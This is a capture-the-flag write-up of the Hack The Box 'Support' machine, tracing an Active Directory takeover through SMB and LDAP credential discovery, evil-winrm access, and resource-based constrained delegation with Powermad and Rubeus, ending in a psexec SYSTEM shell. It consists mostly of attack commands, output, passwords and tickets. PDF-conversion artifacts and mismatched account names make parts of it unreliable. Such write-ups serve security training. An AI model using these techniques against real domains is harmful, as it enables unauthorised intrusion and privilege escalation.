
Máquina Support



https://app.hackthebox.com/machines/Support

Reconnaissance

```
SHELL
> nmap -p- --open -sSCV --min-rate 5000 -n -Pn 10.10.11.174 -oN scan1.txt
Starting Nmap 7.95 (https://nmap.org) at 2025-06-02 15:52 CEST
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 73.68% done; ETC: 15:53 (0:00:14 remaining)
Nmap scan report for 10.10.11.174
Host is up (0.042s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
                              VERSION
53/tcp open domain
                         Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-02 13:52:49Z)
                         Microsoft Windows RPC
135/tcp open msrpc
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
                        Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-
```

```
Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open neacn http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
                        Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-
Site-Name)
3269/tcp open tcpwrapped
                       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http
http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
9389/tcp open mc-nmf
                         .NET Message Framing
49664/tcp open msrpc
                         Microsoft Windows RPC
                         Microsoft Windows RPC
49668/tcp open msrpc
49674/tcp open neacn http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc
                         Microsoft Windows RPC
49699/tcp open msrpc
                         Microsoft Windows RPC
49737/tcp open msrpc
                         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| Message signing enabled and required
smb2-time:
date: 2025-06-02T13:53:42
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.07 seconds
```

Nmap report us a bunch of ports and services running. We confirm that this is AD. What we can do before go further is add the next domains to /etc/hosts



Now we can attempt to get shares from SMB. I didn't get nothing at first because I was not using a non-existing user bruh

```
SHELL
> nxc smb 10.10.11.174 -u 'test' -p " --shares
SMB
         10.10.11.174 445 DC
                                     [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:support.htb) (signing:True) (SMBv1:False)
         10.10.11.174 445 DC
SMB
                                     [+] support.htb\test: (Guest)
SMB
         10.10.11.174 445
                          DC
                                     [*] Enumerated shares
SMB
        10.10.11.174 445 DC
                                     Share
                                               Permissions Remark
SMB
        10.10.11.174 445 DC
        10.10.11.174 445 DC
SMB
                                     ADMIN$
                                                          Remote Admin
SMB
        10.10.11.174 445 DC
                                                      Default share
                                     C$
SMB
        10.10.11.174 445 DC
                                     IPC$
                                               READ
                                                          Remote IPC
SMB
        10.10.11.174 445 DC
                                     NETLOGON
                                                            Logon server share
SMB
        10.10.11.174 445 DC
                                     support-tools READ
                                                            support staff tools
SMB
        10.10.11.174 445 DC
                                     SYSVOL
                                                          Logon server share
```

netxec report us this bunch of shares, for now we can start with *support-tools*

```
SHELL
> smbmap -u test -H 10.10.11.174 -r support-tools
 (: \__/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
            https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
\cite{beta} Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 10.10.11.174:445 Name: support.htb0
                                                  Status: Authenticated
  Disk
                                    Permissions Comment
                                       NO ACCESS Remote Admin
  ADMIN$
  C$
                                  NO ACCESS Default share
                                  READ ONLY Remote IPC
  IPC$
                                         NO ACCESS Logon server share
  NETLOGON
                                    READ ONLY support staff tools
  support-tools
  ./support-tools
  dr--r--r--
                   0 Wed Jul 20 19:01:06 2022.
  dr--r--r--
                   0 Sat May 28 13:18:25 2022...
               2880728 Sat May 28 13:19:19 2022 7-ZipPortable_21.07.paf.exe
  fr--r--r--
  fr--r--r--
               5439245 Sat May 28 13:19:55 2022 npp.8.4.1.portable.x64.zip
               1273576 Sat May 28 13:20:06 2022 putty.exe
  fr--r--r--
```

```
fr--r--r-- 48102161 Sat May 28 13:19:31 2022 SysinternalsSuite.zip
fr--r--r-- 277499 Wed Jul 20 19:01:07 2022 UserInfo.exe.zip
fr--r--r-- 79171 Sat May 28 13:20:17 2022 windirstat1_1_2_setup.exe
fr--r--r-- 44398000 Sat May 28 13:19:43 2022 WiresharkPortable64_3.6.5.paf.exe
SYSVOL NO ACCESS Logon server share

[*] Closed 1 connections
```

The unique file which is unknown is *UserInfo.exe* so lets download it

	SHELL
> ls	
☐ CommandLineParser.dll	☐ System.Memory.dll
☐ Microsoft.Bcl.AsyncInterfaces.dll	☐ System.Numerics.Vectors.dll
☐ Microsoft.Extensions.DependencyInjection.Abstractions.dll ☐ System.Runtime.CompilerServices.Unsafe.dll	
$\ \ \Box Microsoft. Extensions. Dependency Injection.$	dll □ System.Threading.Tasks.Extensions.dll
\square Microsoft.Extensions.Logging.Abstractions.	dll 🗆 UserInfo.exe
□ System.Buffers.dll	☐ UserInfo.exe.config
> file UserInfo.exe	
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections	

Explotation

After unzip it, we can execute it in Linux if we have wine installer

```
> ./UserInfo.exe -v find -first test
0128:fixme:mscoree:parse_supported_runtime sku=L".NETFramework,Version=v4.8" not implemented
0128:fixme:mscoree:parse_supported_runtime sku=L".NETFramework,Version=v4.8" not implemented
0128:fixme:ntdll:NtQuerySystemInformation info_class SYSTEM_PERFORMANCE_INFORMATION
[*] LDAP query to use: (givenName=test)
[-] Exception: No Such Object
```

Apparently this is doing a LDAP query so we can use Wireshark to see the traffic and I find a user and their password

```
nxc smb 10.10.11.174 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'


SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:support.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.174 445 DC [+] support.htb\root:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
(Guest)
```

what we can do now is use **bloodhound** and add the JSONs it's generated

```
SHELL
> /usr/bin/bloodhound-python --dns-tcp -ns 10.10.11.174 -d support.htb -u 'ldap' -p
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 4 computers
INFO: Found 21 users
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 04S
```

We can see the user *support* but not more information. One thing I didn't do is use **ldapsearch**



SHFII

```
dn: CN=support,CN=Users,DC=support,DC=htb
 objectClass: top
 objectClass: person
 objectClass: organizationalPerson
 objectClass: user
 cn: support
 c: US
 l: Chapel Hill
 st: NC
 postalCode: 27514
 distinguishedName: CN=support,CN=Users,DC=support,DC=htb
 instanceType: 4
 whenCreated: 20220528111200.0Z
 whenChanged: 20220528111201.0Z
 uSNCreated: 12617
 info: Ironside47pleasure40Watchful
 memberOf: CN=Shared Support Accounts, CN=Users, DC=support, DC=htb
 memberOf: CN=Remote Management Users, CN=Builtin, DC=support, DC=htb
 uSNChanged: 12630
 company: support
 streetAddress: Skipper Bowles Dr
 name: support
 objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
 userAccountControl: 66048
 badPwdCount: 0
 codePage: 0
 countryCode: 0
After using it, I apparently found the password for the user support which I justly found reciently using
bloodhound. We can use netxec in order to know if we can use this user log using evilwinrm
```

```
SHELL

> nxc winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'

WINRM 10.10.11.174 5985 DC [*] Windows Server 2022 Build 20348 (name:DC)

(domain:support.htb)

WINRM 10.10.11.174 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
```

We can!

SHELL
evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb

```
*Evil-WinRM* PS C:\Users\support\Desktop> net group

Group Accounts for \\

*Cloneable Domain Controllers

*Domain Admins

*Domain Computers
```

```
*Domain Controllers

*Domain Guests

*Domain Users

*Enterprise Admins

*Enterprise Key Admins

*Enterprise Read-only Domain Controllers

*Group Policy Creator Owners

*Key Admins

*Protected Users

*Read-only Domain Controllers


*Schema Admins

*Schema Admins

*The command completed with one or more errors.
```


Privilage Escalation

Once in we can upload **SharpHound.exe** and then download the zip it has generated to get more information about the system



Once we get the zip we upload it to **bloodhound** and we can realise that we hace the GenericAll permision again the DC and **bloodhound** give us the instructions to abuse it.





The steps I followed were:

upload Powermad.ps1

Evil-WinRM PS C:\programdata> New-MachineAccount -MachineAccount TEST -Password (ConvertTo-SecureString '123456' - AsPlainText -Force)

[+] Machine account TEST added

Evil-WinRM PS C:\Users\support\Desktop> New-MachineAccount -MachineAccount TEST -Password \$(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Verbose: [+] Domain Controller = dc.support.htb

Verbose: [+] Domain = support.htb

Verbose: [+] SAMAccountName = SERVICEA\$

Verbose: [+] Distinguished Name = CN=SERVICEA,CN=Computers,DC=support,DC=htb

[+] Machine account SERVICEA added

upload PowerView.ps1

```
*Evil-WinRM* PS C:\programdata> Get-ADComputer -identity TEST
Distinguished Name: CN=TEST, CN=Computers, DC=support, DC=htb
DNSHostName : TEST.support.htb
Enabled : True
Name : TEST
ObjectClass : computer
ObjectGUID : 9a405753-3a07-4c2f-9ed5-c065c83ecbda
SamAccountName : TEST$
          : S-1-5-21-1677581083-3380853377-188903654-5608
UserPrincipalName:
*Evil-WinRM* PS C:\programdata> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount
TEST$
*Evil-WinRM* PS C:\programdata> Get-ADComputer -Identity DC -Properties
PrincipalsAllowedToDelegateToAccount
DistinguishedName : CN=DC,OU=Domain Controllers,DC=support,DC=htb
DNSHostName
                          : dc.support.htb
Enabled
Name
                    : DC
ObjectClass
                      : computer
ObjectGUID
                        : afa13f1c-0399-4f7e-863f-e9c3b94c4127
Principals Allowed To Delegate To Account: \{CN=TEST, CN=Computers, DC=support, DC=htb\}
SamAccountName
                           : DC$
                    : S-1-5-21-1677581083-3380853377-188903654-1000
UserPrincipalName
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe hash /password:123456 /user:TEST$ /domain:support.htb
 v2.2.0
[*] Action: Calculate Password Hash(es)
```

[*] Input password : 123456

[*] Input username : TEST\$

[*] Input domain : support.htb

[*] Salt : SUPPORT.HTBhosttest.support.htb

[*] rc4_hmac : 32ED87BDB5FDC5E9CBA88547376818D4

[*] aes128_cts_hmac_sha1 : 49B25CBE10BC12C2ADBF9FB58650D9A7

[*] aes256_cts_hmac_sha1 :
3EFC4D9F6BC4B0CF4DE28D72526E09C6F8BF017EFA4F86C8A732711C7D9EC512

[*] des_cbc_md5 : 15BFBAFB94FE6BB5

do IFR jCCBUK gAw IBBaEDA gEWoo IEYTCCBF1 hggRZMIIEV aADA gEFoQ0 bC1 NVUFBPU lQuSFRCo iAw HqADA gEFOQ0 bC1

AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBBswggQXoAMCARKhAwIBAqKCBAkEggQFC1+XIMDl r954+AsaBmw9loHAEe0PQExY4uurFShiW77BhEuoYR50qErcsHnt2+X44WYGncvem1o1V6f6XF96DzMV m7MbLUQ23j0nyKtRzFVjLyB/qjdjEK0RMUS5ZdpNPErjgdzUX9vwiT5MlRkYqNLQhzowegAE0Brof4pJ pWBeXtYGw5KF/8fQZucCjZcuY8fCfJoipYbJUsrBgmcR1FZlhuJWLpJ4MWHoW2ryRblb9xQN0RoVs7fN JflZPQmtKM8Q3TxPBoECDpUxA6RpRDPld/H3bTNGRVdlfgorm63Gocdkt/rvql8JhU1cCyfeR9sPBIAb WeknsMq5qjbaFworHef9A8cJf5GcG0+qZ/T73+Zm+hojF1xSzYT8Ig44aF5OyIdU6JF6AEWMjjqXG92E hTI7UFQ9hB2utbkJ3be39mLAkjxrOzUhhdp7JYa8kelmf5aQGoUdvdJNZq/nXx3HupZR0rLm2N4SV93e IaYMD7X0Gi96QK1SJisaFpuvOBK7eSA8Gsg0jpUXmxM5n8h57b9umX9PoznppfVoONhkQLEjyAu8AlUO cBQKNgVxWwrdRiKIaEkyVFNTitHzmejgoa07u0SXAO+1ZKiQl+OixuxqBmN5mUHX9pJ4J8jaqL6nZmCO yrv7ITK1GOAmFrqQpZrDatWA/FLkRFf7QHJWaEqKUZ/I7ZAmybxsy8s8g1Ac5di/Ef76A7Eu02GXNPbb QQaUcVXXaNX59nHKkfzkuxL4z2bqhyCbYs9Q4BWoDAsNiLltnFDc7r47UVebv1eas7wzr5qUjTtFANu5 lBCev7Ef9NcW+2oAbXrk06171y67sKed38Wm3fg9U6E5tEQenBXvFT8Q3vQJC2gHDzFMAXBaMo5/tcxr TzZLo6aJqtoltQUuu/QtB7j1arZf5ob5xrlp6XaMT1VdBAbM/BP8C4ksH97DzFH112YH4Rxp7hFNDxMu paY2XrKK/8GqppLO/GmN+t0Ezdy0TjBi5Rs2TP7YbvdYuK/x8F5nwTN62s13uiopsCOM8+/ixzU5kxPy

8z5qvLWLdRfvNcEi3Xt4mpNccVYjczxgWZDM2xxutB0AdId0zsY8Ci4eyLP5a1d6/TAtZaZEzFy62c2D m1AYLe/aOdlPwpeJ3fmikeXOTSMflyPKk7zJqLvhJ1D2MJ6xLl0y+lgqVpxmnfFavr3qHyCAQJcQBYVv eFklrbu0OqDkmqg89/ud+7sopjnobNLssn4JT8kYXGk+sBN1XV2UbKrslJHEFT4O2DViCgbVNnLXGsLW+CfApFt2F/VqRFxb7/TukmdZnIAeq45GjB7xY1o+Xl8DQqPwxxHxabBc9SAMijrkkYFvOSD56UGcNbXBPljJo4HQMIHNoAMCAQCigcUEgcJ9gb8wgbyggbkwgbYwgbOgGzAZoAMCARehEgQQ2jjZER1AaBp1orWp

 $\label{lem:wm27H6ENGwtTVVBQT1JULkhUQqISMBCgAwIBAaEJMAcbBVRFU1QkowcDBQBA4QAApREYDzIwMjUwNjAz$

MDgxMzM4WqYRGA8yMDI1MDYwMzE4MTMzOFqnERgPMjAyNTA2MTAwODEzMzhaqA0bC1NVUFBPUlQuSFRC

qSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg ==

- [*] Action: S4U
- [*] Building S4U2self request for: 'TEST\$@SUPPORT.HTB'
- [*] Using domain controller: dc.support.htb (::1)
- [*] Sending S4U2self request to ::1:88
- [+] S4U2self success!
- [*] Got a TGS for 'Administrator' to 'TEST\$@SUPPORT.HTB'
- [*] base64(ticket.kirbi):

AgEBoQkwBxsFVEVTVCSjggSHMIIEg6ADAgEXoQMCAQGiggR1BIIEcQZcsxXbsx/vswXEcwmHQzmT9Mpz rHnLpNkDZZAFpv1kH9XGEOCwKxDprwPveQ98wlgCxcYFs5zudBY1uj2u+id4bQJHOnfX+ITLYPSPKIxC 6ANjBemvFbYvD+gb0nUuhAlKzkJ5HtjbHzJG2DCaynNmuu55wc/mmwz4KfPibDUFiVYYY8l4ygaTbUqT FzXndurlUTEJ+V6cw702zfIKzvdkwGS/zfeYIwniH8zuQtc/LN35o89Et8oVp6TMzpK2Vnb9Tpe+d03B ceA3ocZgq6TFJCHr9PKdV7oJyXGV6Kti4Frr69Jil6yagKKbADTSiMwA0g8+XKxeTDk0lkKj7Bm24PEZ ugfimYV+PTbbFZNkritXQOSjvW/I4A8R6M6O1L75HFkP2hzgDxpgKVAihaFkSt3tEzch/TZkCONBKrSn rvirsD/n4tmLFH39ZzgnKTl2eq8hbVOm1T4PZtKpeL4kerCL+ZFjAtnNY8D773H6L4MiiEmtuQvgCinr HIVooHFj2cW2YQE74NBoLV5/YiPfqz5N36nHjgD90uULz7vk9GUA62AUdYRDY7lP2B+GZlz4xl1v9OMl VVY4RxVrzwYyNt0Fe2SlNFnDmI5rJxpKOkdlXV90XFDRLysoaIVsvQEvpsP4KkMab9QxN7F1zotlikIv m4flq1CMGLQS2A9tRojZdywTTAniXg6VleXCAS9iUG2w8KsRe/k95Kf2Nm0gGiooaT0ecT9jdUlSp9GVleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8KsRe/k95WleXCAS9iUG2w8WleXCN5jhh+T3bC14orRqgkCwBnwE9MbXKpteR0GOBlTfbtxiCV9jpa5SOqIzMqFKNdah/0wy+WefuABh1Ihd 7MmIz2bolFZ8Lo7+Qf4gIXPRnx5tQoqs1QnuY08jaUD/yKWx4uzhjuDs+uykzmljMZOJX83WW3hNNpjD xUzmQ2+npRxeMJYzeoUrYC6/vYfgsFnb0UoR9D2QI/6OCQvDCdtLAKfpWKXT+OU7TLE4Sx0+9GISjAyr DdyFTJhY3lPCtwK3FkXVEcIvq0DbOSP2YSEWRuylahdmFH7krSF+8jwA7qtcR5NuBQB7zhHN2aKccHnA 2gHMEaIZyZ06EtZtz9HUuUUXIVw+CCInqlFCGrXnzVnBFclaoLYgI94FFa2vxhNyh09avM2L1IXzLpDU klzIN8J9GLZFNZpfkTLLob+AhtEW27UIH65/T5bhDt+LFHuCqRpGBubX93VJQBvsyzJlTYZKMud06o0N Ol47D2tgqSLqxj4qzItehSXKd+QzC4v18a5PK0mqsrxqgQ5DLcWJD9lJbj+xDR697gtVMlhq3lGr8Xgo

+VxdR07zOnqiONi/RACO2BdO7gWq1pQ3UBBBGfVdDTXOCm3sVRB2L1wVh9fQhuH3XDEcJxZ8ZwPJW7qG f41gtmJtfwRDc54OpPDoi5YrUYZ9sS8uwwhQpe4EIXVTxK16FDR+Olqg6QUEG2AsGqHYZ9807gz+I2OR CUzLNfqDLuDJTHX0jmedcqUmag++joDaLAH6POinoERn7LBxf6OByjCBx6ADAgEAooG/BIG8fYG5MIG2

old z Ml GwMl GtoBswGaADAgEX oR IEEOvfPpCdGjorzPernmjfROmhDRsLU1VQUE9SVC5 IVEKiGjAY oAMCCAR in the control of the control of

AQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjUwNjAzMDgxMzM4WqYRGA8yMDI1

MDYw

 $\label{lem:magner} MzE4MTMzOFqnERgPMjAyNTA2MTAwODEzMzhaqA0bC1NVUFBPUlQuSFRCqRIwEKADAgEBoQkwBxsFVEVT$

VCQ=

- [*] Impersonating user 'Administrator' to target SPN 'cifs/dc.support.htb'
- [*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
- [*] Using domain controller: dc.support.htb (::1)
- [*] Sending S4U2proxy request to domain controller ::1:88
- [+] S4U2proxy success!
- [*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

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

 $\label{lem:cqermasbdufkbwluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNTA2MDMwODEzMzhaphEYDzIwMjUwNjAz$

 $\label{thm:model} MTgxMzM4WqcRGA8yMDI1MDYxMDA4MTMzOFqoDRsLU1VQUE9SVC5IVEKpITAfoAMCAQKhGDAWGwRjaWZz$

Gw5kYy5zdXBwb3J0Lmh0Yg==

[+] Ticket successfully imported!

SHELL

> /usr/bin/ticketConverter.py ticket.kirbi ticket.ccache

/usr/lib/python3.13/site-packages/impacket/version.py:10: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.

import pkg resources

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- [*] converting kirbi to ccache...
- [+] done

Now we add it to *KRB5CCNAME*

SHELL

export KRB5CCNAME=ticket.ccache

And know we simply log using **pkexec.py**

SHELL

> psexec.py support.htb/administrator@dc.support.htb -k -no-pas

/usr/lib/python3.13/site-packages/impacket/version.py:10: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.

import pkg resources

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- [*] Requesting shares on dc.support.htb.....
- [*] Found writable share ADMIN\$
- [*] Uploading file HxBxSFhB.exe
- [*] Opening SVCManager on dc.support.htb.....
- [*] Creating service pTyn on dc.support.htb.....
- [*] Starting service pTyn.....
- [!] Press help for extra shell commands

Microsoft Windows [Version 10.0.20348.859]

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C:\Windows\system32>